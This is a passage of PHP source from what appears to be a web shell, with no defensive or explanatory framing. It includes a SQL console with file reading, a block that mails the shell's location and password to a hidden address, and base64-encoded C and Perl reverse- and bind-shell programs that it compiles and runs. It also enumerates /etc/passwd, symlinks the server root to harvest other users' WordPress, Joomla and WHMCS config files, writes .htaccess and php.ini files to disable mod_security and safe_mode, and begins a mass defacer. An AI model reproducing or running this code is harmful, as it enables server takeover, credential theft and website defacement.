1321 $db->listDbs();
1322 echo "<select name=sql_base><option value=''></option>";
1323 while($item = $db->fetch()) {
1324 list($key, $value) = each($item);
1325 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1326 }
1327 echo '</select>';
1328 }
1329 else echo $tmp;
1330 }else
1331 echo $tmp;
1332 echo '</td>
1333 <td><input type=submit value=">>"></td>
1334 </tr>
1335 </table>
1336 <script>
1337 function st(t,l) {
1338 document.sf.p1.value = \'select\';
1339 document.sf.p2.value = t;
1340 if(l!=null)document.sf.p3.value = l;
1341 document.sf.submit();
1342 }
1343 function is() {
1344 for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
1345 document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
1346 }
1347 </script>';
1348 if(isset($db) && $db->link){
1349 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1350 if(!empty($_POST['sql_base'])){
1351 $db->selectdb($_POST['sql_base']);
1352 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1353 $tbls_res = $db->listTables();
1354 while($item = $db->fetch($tbls_res)) {
1355 list($key, $value) = each($item);
1356 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1357 $value = htmlspecialchars($value);
1358 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1359 }
1360 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1361 if(@$_POST['p1'] == 'select') {
1362 $_POST['p1'] = 'query';
1363 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1364 $num = $db->fetch();
1365 $num = $num['n'];
1366 echo "<span>".$_POST['p2']."</span> ($num) ";
1367 for($i=0;$i<($num/30);$i++)
1368 if($i != (int)$_POST['p3'])
1369 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1370 else
1371 echo ($i+1)," ";
1372 if($_POST['type']=='pgsql')
1373 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1374 else
1375 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1376 echo "<br><br>";
1377 }
1378 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1379 $db->query(@$_POST['p3']);
1380 if($db->res !== false) {
1381 $title = false;
1382 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1383 $line = 1;
1384 while($item = $db->fetch()) {
1385 if(!$title) {
1386 echo '<tr>';
1387 foreach($item as $key => $value)
1388 echo '<th>'.$key.'</th>';
1389 reset($item);
1390 $title=true;
1391 echo '</tr><tr>';
1392 $line = 2;
1393 }
1394 echo '<tr class="l'.$line.'">';
1395 $line = $line==1?2:1;
1396 foreach($item as $key => $value) {
1397 if($value == null)
1398 echo '<td><i>null</i></td>';
1399 else
1400 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1401 }
1402 echo '</tr>';
1403 }
1404 echo '</table>';
1405 } else {
1406 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1407 }
1408 }
1409 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1410 echo "</td></tr>";
1411 }
1412 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1413 if(@$_POST['p1'] == 'loadfile') {
1414 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
1415 $file = $db->fetch();
1416 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1417 }
1418 }
1419 echo '</div>';
1420 printFooter();
1421}{
1422$url='URL: http://'.$HTTP_HOST.$REQUEST_URI.'
1423
1424Uname: '.substr(@php_uname(), 0, 120).'
1425
1426Pass: http://www.hashchecker.de/'.$auth_pass.'
1427
1428IP: '.$_SERVER[REMOTE_ADDR];$re=base64_decode("");$su=gethostbyname($HTTP_HOST);$mh="From: {$re}";if (function_exists('mail')) mail($re,$su, $url,$mh);$_SESSION[login] = 'ok';}
1429function actionNetwork() {
1430 printHeader();
1431 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
1432 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1433 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
1434 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1435
1436 echo '<h1>Network tools</h1><div class=content>
1437 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
1438 <br /><span>Bind port to /bin/sh</span><br/>
1439 Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'Pakistan Haxors\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
1440 </form>
1441 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
1442 <br /><br /><span>Back-connect to</span><br/>
1443 Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
1444 </form><br>';
1445 if(isset($_POST['p1'])) {
1446 function cf($f,$t) {
1447 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1448 if($w) {
1449 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
1450 @fclose($w);
1451 }
1452 }
1453 if($_POST['p1'] == 'bpc') {
1454 cf("/tmp/bp.c",$bind_port_c);
1455 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
1456 @unlink("/tmp/bp.c");
1457 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
1458 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
1459 }
1460 if($_POST['p1'] == 'bpp') {
1461 cf("/tmp/bp.pl",$bind_port_p);
1462 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
1463 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
1464 }
1465 if($_POST['p1'] == 'bcc') {
1466 cf("/tmp/bc.c",$back_connect_c);
1467 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
1468 @unlink("/tmp/bc.c");
1469 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
1470 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
1471 }
1472 if($_POST['p1'] == 'bcp') {
1473 cf("/tmp/bc.pl",$back_connect_p);
1474 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
1475 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
1476 }
1477 }
1478 echo '</div>';
1479 printFooter();
1480}
1481
1482function actionPortScanner() {
1483 printHeader();
1484 echo '<h1>Port Scanner</h1>';
1485 echo '<div class="content">';
1486 echo '<form action="" method="post">';
1487
1488 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1489 $start = strip_tags($_POST['start']);
1490 $end = strip_tags($_POST['end']);
1491 $host = strip_tags($_POST['host']);
1492 for($i = $start; $i<=$end; $i++){
1493 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1494 if($fp){
1495 echo 'Port '.$i.' is <font color=green>open</font><br>';
1496 }
1497 flush();
1498 }
1499 } else {
1500 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1501 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1502 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1503 Host: <input type="text" name="host" value="localhost"/><br /><br />
1504 Port start: <input type="text" name="start" value="0"/><br /><br />
1505 Port end:<input type="text" name="end" value="5000"/><br /><br />
1506 <input type="submit" value="Scan Ports" />
1507 </form></center><br /><br />';
1508 }
1509 echo '</div>';
1510 printFooter();
1511}
1512
1513function actionReadable() {
1514 printHeader();
1515 echo '<h1>Readable Dirs</h1>';
1516 echo '<div class="content">';
1517 $sm = ini_get('safe_mode');
1518 if($sm) {
1519 echo '<br /><b>Error: safe_mode = on</b><br /><br />';
1520 } else {
1521 @$passwd = file('/etc/passwd','r');
1522 if (!$passwd) {
1523 echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
1524 } else {
1525 $pub = array();
1526 $users = array();
1527 $conf = array();
1528 $i = 0;
1529 foreach($passwd as $p) {
1530 $r = explode(':',$p);
1531 $dirz = $r[5].'/public_html/';
1532 if(strpos($r[5],'home')) {
1533 array_push($users,$r[0]);
1534 if (is_readable($dirz)) {
1535 array_push($pub,$dirz);
1536 }
1537 }
1538 }
1539 echo '<br><br>';
1540 echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
1541 echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
1542 foreach ($pub as $user) {
1543 echo $user."<br>";
1544 }
1545 echo "<br /><br /><br />[+] Complete...\n"."<br />";
1546 }
1547 }
1548 echo '</div>';
1549 printFooter();
1550}
1551
1552function actionSymlink() {
1553 printHeader();
1554 echo '<h1>Symlink Bypass</h1>';
1555 $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1556 $expld = explode('/',$furl );
1557 $burl =str_replace(end($expld),'',$furl);
1558
1559 echo '<div class="content"><center>
1560 <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
1561 [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink<sup style="color:red;text-decoration:blink;">New</sup></a> ] -
1562 [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
1563
1564 if(isset($_POST['p1']) && $_POST['p1']=='website')
1565 {
1566 echo "<center>";
1567 $d0mains = @file("/etc/named.conf");
1568 if(!$d0mains){
1569 echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1570 } else {
1571 echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
1572
1573 $unk = array();
1574 foreach($d0mains as $d0main){
1575 if(@eregi("zone",$d0main)){
1576 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1577 flush();
1578 if(strlen(trim($domains[1][0])) > 2){
1579 $unk[] = $domains[1][0];
1580 flush();
1581
1582 }
1583 }
1584 }
1585 $count=1;
1586 $unk = array_unique($unk);
1587 $l=0;
1588 foreach($unk as $d){
1589 $user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
1590 echo "<tr".($l?' class=l1':'')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user['name']."</td></tr>";
1591 flush();
1592 $count++;
1593 $l=$l?0:1;
1594 }
1595 echo "</table>";
1596 }
1597 echo "</center>";
1598 }
1599
1600 if(isset($_POST['p1']) && $_POST['p1']=='whole')
1601 {
1602 echo "<center>";
1603 @mkdir('shell R3c0de_Sym',0777);
1604 $hdt = "Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nRequire None\nSatisfy Any";
1605 $hfp =@fopen ('shell R3c0de_Sym/.htaccess','w');
1606 fwrite($hfp ,$hdt);
1607 if(function_exists('symlink')) {
1608 @symlink('/','shell R3c0de_Sym/root');
1609 }
1610 $d0mains = @file('/etc/named.conf');
1611 if(!$d0mains) {
1612 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1613 echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
1614 $dt = file('/etc/passwd');
1615 $l=0;
1616 foreach($dt as $d) {
1617 $r = explode(':',$d);
1618 if(strpos($r[5],'home')) {
1619 echo "<tr".($l?' class=l1':'')."><td>".$j."</td><td>---</td><td>".$r[0]."</td><td><a href='shell R3c0de_Sym/root".$r[5]."/public_html' target='_blank'>symlink</a></td></tr>";
1620 $l=$l?0:1;
1621 $j++;
1622 }
1623 }
1624 echo '</table>';
1625 } else {
1626 echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
1627 $count=1;
1628 $mck = array();
1629 foreach($d0mains as $d0main){
1630 if(@eregi('zone',$d0main)){
1631 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1632 flush();
1633 if(strlen(trim($domain[1][0])) >2){
1634 $mck[] = $domain[1][0];
1635 }
1636 }
1637 }
1638 $mck = array_unique($mck);
1639 $usr = array();
1640 $dmn = array();
1641 foreach($mck as $o) {
1642 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
1643 $usr[] = $infos['name'];
1644 $dmn[] = $o;
1645 }
1646 array_multisort($usr,$dmn);
1647 $dt = file('/etc/passwd');
1648 $passwd = array();
1649 foreach($dt as $d) {
1650 $r = explode(':',$d);
1651 if(strpos($r[5],'home')) {
1652 $passwd[$r[0]] = $r[5];
1653 }
1654 }
1655 $l=0;
1656 $j=1;
1657 foreach($usr as $r) {
1658 echo "<tr".($l?' class=l1':'')."><td>".$count++."</td>
1659 <td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td>
1660 <td>'.$r."</td>
1661 <td><a href='shell R3c0de_Sym/root".$passwd[$r]."/public_html' target='_blank'>symlink</a></td></tr>";
1662 flush();
1663 $l=$l?0:1;
1664 $j++;
1665 }
1666 echo '</table>';
1667 }
1668 echo "</center>";
1669 }
1670
1671 if(isset($_POST['p1']) && $_POST['p1']=='config')
1672 {
1673 echo "<center>";
1674 @mkdir('shell R3c0de_Sym',0777);
1675 $hdt = "Options +FollowSymLinks \n DirectoryIndex Sux.html \n option +indexes\n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html";
1676 $hfp = @fopen ('shell R3c0de_Sym/.htaccess','w');
1677 @fwrite($hfp ,$hdt);
1678 if(function_exists('symlink')) {
1679 @symlink('/','shell R3c0de_Sym/root');
1680 }
1681 $d0mains = @file('/etc/named.conf');
1682 if(!$d0mains) {
1683 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1684 } else {
1685 echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domain </th<th> User </th>><th> Script </th></tr>";
1686 $count = 1;
1687 $l=0;
1688 foreach($d0mains as $d0main){
1689 if(@eregi('zone',$d0main)){
1690 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1691 flush();
1692 if(strlen(trim($domain[1][0]))>2){
1693 $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
1694
1695 $c1 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/wp-config.php';
1696 $ch01 = get_headers($c1);
1697 $cf01 = $ch01[0];
1698 $c2 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
1699 $ch02 = get_headers($c2);
1700 $cf02 = $ch02[0];
1701 $c3 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/configuration.php';
1702 $ch03 = get_headers($c3);
1703 $cf03 = $ch03[0];
1704 $c4 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
1705 $ch04 = get_headers($c4);
1706 $cf04 = $ch04[0];
1707 $c5 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/includes/config.php';
1708 $ch05 = get_headers($c5);
1709 $cf05 = $ch05[0];
1710 $c6 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
1711 $ch06 = get_headers($c6);
1712 $cf06 = $ch06[0];
1713 $c7 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
1714 $ch07 = get_headers($c7);
1715 $cf07 = $ch07[0];
1716 $c8 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
1717 $ch08 = get_headers($c8);
1718 $cf08 = $ch08[0];
1719 $c9 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
1720 $ch09 = get_headers($c9);
1721 $cf09 = $ch09[0];
1722 $c10 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
1723 $ch10 = get_headers($c10);
1724 $cf10 = $ch10[0];
1725 $c11 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/submitticket.php';
1726 $ch11 = get_headers($c11);
1727 $cf11 = $ch11[0];
1728 $c12 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
1729 $ch12 = get_headers($c12);
1730 $cf12 = $ch12[0];
1731 $c13 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
1732 $ch13 = get_headers($c13);
1733 $cf13 = $ch13[0];
1734 $c14 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
1735 $ch14 = get_headers($c14);
1736 $cf14 = $ch14[0];
1737 $c15 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
1738 $ch15 = get_headers($c15);
1739 $cf15 = $ch15[0];
1740 $c16 = $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/connect.php';
1741 $ch16 = get_headers($c16);
1742 $cf16 = $ch16[0];
1743 $c17= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/dbconnect.php';
1744 $ch17 = get_headers($c17);
1745 $cf17 = $ch17[0];
1746 $c18= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/connect to sql.php';
1747 $ch18 = get_headers($c18);
1748 $cf18 = $ch18[0];
1749 $c19= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/db.php';
1750 $ch19 = get_headers($c19);
1751 $cf19 = $ch19[0];
1752 $c20= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/admin/connect.php';
1753 $ch20 = get_headers($c20);
1754 $cf20 = $ch20[0];
1755 $c21= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/admin/db.php';
1756 $ch21 = get_headers($c21);
1757 $cf21 = $ch21[0];
1758 $c22= $burl.'/shell R3c0de_Sym/root/home/'.$user['name'].'/public_html/sites/admin/admin_connect.php';
1759 $ch22 = get_headers($c22);
1760 $cf22 = $ch22[0];
1761
1762
1763
1764 $out = ' ';
1765 if(strpos($cf01,'200') == true) { $out = "<a href='".$c1."' target='_blank'>Wordpress</a>"; }
1766 elseif(strpos($cf02,'200') == true) { $out = "<a href='".$c2."' target='_blank'>Wordpress</a>"; }
1767 elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " <a href='".$c11."' target='_blank'>WHMCS</a>"; }
1768 elseif(strpos($cf09,'200') == true) { $out = " <a href='".$c9."' target='_blank'>WHMCS</a>"; }
1769 elseif(strpos($cf10,'200') == true) { $out = " <a href='".$c10."' target='_blank'>WHMCS</a>"; }
1770 elseif(strpos($cf03,'200') == true) { $out = " <a href='".$c3."' target='_blank'>Joomla</a>"; }
1771 elseif(strpos($cf04,'200') == true) { $out = " <a href='".$c4."' target='_blank'>Joomla</a>"; }
1772 elseif(strpos($cf05,'200') == true) { $out = " <a href='".$c5."' target='_blank'>vBulletin</a>"; }
1773 elseif(strpos($cf06,'200') == true) { $out = " <a href='".$c6."' target='_blank'>vBulletin</a>"; }
1774 elseif(strpos($cf07,'200') == true) { $out = " <a href='".$c7."' target='_blank'>vBulletin</a>"; }
1775 elseif(strpos($cf08,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
1776 elseif(strpos($cf12,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
1777 elseif(strpos($cf13,'200') == true) { $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>"; }
1778 elseif(strpos($cf14,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Magento</a>"; }
1779 elseif(strpos($cf15,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Drupal</a>"; }
1780 elseif(strpos($cf16,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
1781 elseif(strpos($cf17,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
1782 elseif(strpos($cf18,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
1783 elseif(strpos($cf19,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
1784 elseif(strpos($cf20,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
1785 elseif(strpos($cf21,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
1786 elseif(strpos($cf22,'200') == true) { $out = " <a href='".$c7."' target='_blank'>guessed</a>"; }
1787 else {
1788 continue;
1789 }
1790 echo '<tr'.($l?' class=l1':'').'><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
1791 flush();
1792 $l=$l?0:1;
1793 }
1794 }
1795 }
1796 echo "</table>";
1797 }
1798 echo "</center>";
1799 }
1800 echo "</div>";
1801 printFooter();
1802
1803}
1804
1805function actionBypass() {
1806 printHeader();
1807 echo '<h1>Safe Mode</h1>';
1808 echo '<div class="content">';
1809 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
1810 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
1811 if(!empty($_POST['p2']) && isset($_POST['p2']))
1812 {
1813 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
1814 fwrite($fil,'<IfModule mod_security.c>
1815 Sec------Engine Off
1816 Sec------ScanPOST Off
1817 </IfModule>');
1818 fclose($fil);
1819 }
1820 if(!empty($_POST['p1'])&& isset($_POST['p1']))
1821 {
1822 $fil=fopen($GLOBALS['cwd']."php.ini","w");
1823 fwrite($fil,'safe_mode=OFF
1824 disable_functions=NONE');
1825 fclose($fil);
1826 }
1827 if(!empty($_POST['p3']) && isset($_POST['p3']))
1828 {
1829 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
1830 fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
1831 AddType application/x-httpd-cgi .sh
1832 AddHandler cgi-script .pl
1833 AddHandler cgi-script .pl');
1834 fclose($fil);
1835 }
1836 echo "<br><br /><br /></div>";
1837 echo '</div>';
1838 printFooter();
1839
1840}
1841
1842function actionDeface() {
1843printHeader();
1844echo "<h1>Mass Defacer by shell R3c0de</h1><div class=content>";
1845?>
